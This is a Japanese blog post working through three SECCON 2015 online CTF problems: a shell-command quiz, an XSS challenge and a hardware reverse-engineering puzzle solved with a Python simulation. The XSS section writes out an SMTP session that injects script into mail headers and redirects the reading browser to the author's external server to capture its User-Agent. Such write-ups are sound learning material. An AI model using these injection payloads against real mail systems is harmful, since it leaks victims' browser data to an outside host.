SECCON 2015 Online CTF

closeこれは 1 年 11 ヶ月 20 日 前に投稿されたものです。最新のものではありませんので、間違っているかも知れません。

ダメみたいですね。チームメンバーが「出来るけど今は面倒だからやらない」問題を解くしかない。

Command-Line Quiz

簡単なクイズ

テキストファイルの先頭を見るコマンドは?
「head」
末尾を見るコマンドは?
「tail」
パターンに一致する~
「grep」
テキストファイル処理するコマンドは?
「sed」…違う、「awk」だった

また、「何かのコマンドで flag.txt が見れる」というので、地道に探したところ、

$ sed 's/seccon/a/' flags.txt
OK. You have read all .txt files. The flag word is shown below.

SECCON{CaitSith@AQUA}

でした。

Bonsai XSS Revolutions

「localhost:25」でLISTENしているという情報を聞いた上でやった。telnetでメール送信などを見ながら、

$ nc localhost 25
MAIL FROM: user@foo.or.jp
RCPT TO: keigo.yamazaki@tsuribori.test
DATA
Subject: test<img src='http://tex.5v-gnd.net/' />
From: user@foo.or.jp<img src='http://tex.5v-gnd.net/' />
To: keigo.yamazaki@tsuribori.test
Date: aaaa<img src='http://tex.5v-gnd.net/' />

aheahe
<img src='http://tex.5v-gnd.net/' />
.
QUIT

したところ、Dateが効いているらしく、アクセスが来た。

GET / HTTP/1.1
Accept: */*
Accept-Language: ja-JP
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3; GWX:DOWNLOADED; Creative AutoUpdate v1.40.01)
Host: tex.5v-gnd.net
Connection: Keep-Alive

「User-Agentを答えよ」とのことなので、SECCON{...}じゃないのかな…?とか思いつつ、これを答えたが通らず。というか「Creative AutoUpdate」とか入っているのはおかしい!これは私の環境だけだ!これじゃダメらしい。

なので、

Date: aaaa<script>alert(navigator.userAgent);</script>

としてみる。結果は、
xss
他の人のwriteupでは、これでflagが出ているみたいなんですけどね…。SECCON 2015オンライン予選に3問を出題しました! | ラック公式ブログによると、「Subject:」にもタグが入るとダメらしい。

その後も、「TRACEが使えるのかな?」とか「クロスドメインのXHRが使えるのかな?」「アドレスが"https"だし、httpsのサーバを用意する必要があるかな?そんなサーバ用意できないよ…」と考えたが、私の技量ではダメだった。最終的に、

Date: aaaa<script>document.location="http://tex.5v-gnd.net/";</script>

とすると…

(IPAddr) - - [06/Dec/2015:00:57:49 +0900] "GET / HTTP/1.1" 200 2392 "-" "SECCON{TsuriboriWebBros/2015.12.17620}"

良かった。ちなみに、document.location="http://localhost/" にしてみると…

$ nc -l 80
GET / HTTP/1.1
User-Agent: SECCON{TsuriboriWebBros/2015.12.17620}
Host: localhost
Connection: Keep-Alive

となる。「Accept-Encoding: gzip, deflate」とか載っていない、シンプルなリクエストですね…。

Reverse-Engineering Hardware 1

解けていないけど。終了30分前くらいになって起きだし、やりだした。すると、こんなのが出来た

#!/usr/bin/python

ONED = False
ONEQ = False
TWOD = False
TWOQ = False

def encoder():
	v = 0
	v = 2*v + int(ONEQ)
	v = 2*v + int(TWOQ)
	v = 2*v + int(not(TWOQ) or ONED)
	v = 2*v + int(not(TWOQ) or ONED or not(ONEQ))
	v = 2*v + int(TWOD or TWOQ)
	v = 2*v + int(not(ONEQ) or TWOQ)
	return v

c = '@'
flag = ""
for i in range(10) :
	if c == 'Y' :
		ONED = False
		TWOD = True
	else:
		if (i & 1) == 0 :
			ONED = False
		else :
			ONED = True
		if (i & 2) == 0 :
			TWOD = False
		else :
			TWOD = True
	
	c = chr(encoder()+32)
	flag = flag + c
	
	ONEQ = ONED
	TWOQ = TWOD
	
	flag = flag + chr(encoder()+32)

print "The flag is SECCON{"+flag+"}"
$ python aaa.py
The flag is SECCON{---LN7?_S--LN7?_S--L}

それっぽいのが出たので、送信するがダメ。この時点で5分前で諦める。

他の人のwriteupを見ると、このプログラムの間違いは、

  • そもそも論理式がおかしい
  • ONED、TWODの初期値を考えていない(結果的には合っていたが)

という点でした。配線を間違えていたり、NOTゲートであることに気付かなかったり…。特に後者は、先週授業で(FETですが)復習としてやったんですよねぇ…。

そこで、再度じっくり見て、修正すると…

#!/usr/bin/python

ONED = False
ONEQ = False
TWOD = False
TWOQ = False

def encoder():
	x1 = ONEQ
	x2 = TWOQ
	x3 = not(not(TWOQ) or ONED)
	x4 = not(x3 or not(ONEQ))
	x5 = not(TWOD or TWOQ)
	
	l4 = not(not(ONEQ) or not(TWOQ))
	l5 = not(l4 or not(ONEQ))
	l6 = not(not(TWOQ) or l4)
	x6 = not(l5 or l6)
	
	v = 0
	v = 2*v + int(x1)
	v = 2*v + int(x2)
	v = 2*v + int(x3)
	v = 2*v + int(x4)
	v = 2*v + int(x5)
	v = 2*v + int(x6)
	return v

c = '@'
flag = ""
for i in range(10) :
	if c == 'Y' :
		ONED = False
		TWOD = True
	else:
		if (i & 1) == 0 :
			ONED = False
		else :
			ONED = True
		if (i & 2) == 0 :
			TWOD = False
		else :
			TWOD = True
	
	c = chr(encoder()+32)
	flag = flag + c
	
	ONEQ = ONED
	TWOQ = TWOD
	
	flag = flag + chr(encoder()+32)

print "The flag is SECCON{"+flag+"}"

となって、

$ python aaa.py
The flag is SECCON{###FD80UY#!8880UY#!8}

正しいflagになった。

この手の高得点問題でも、時間をかければ解けることが分かった。収穫はあった、課題を見つけた。

Leave a Reply

Your email address will not be published.

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>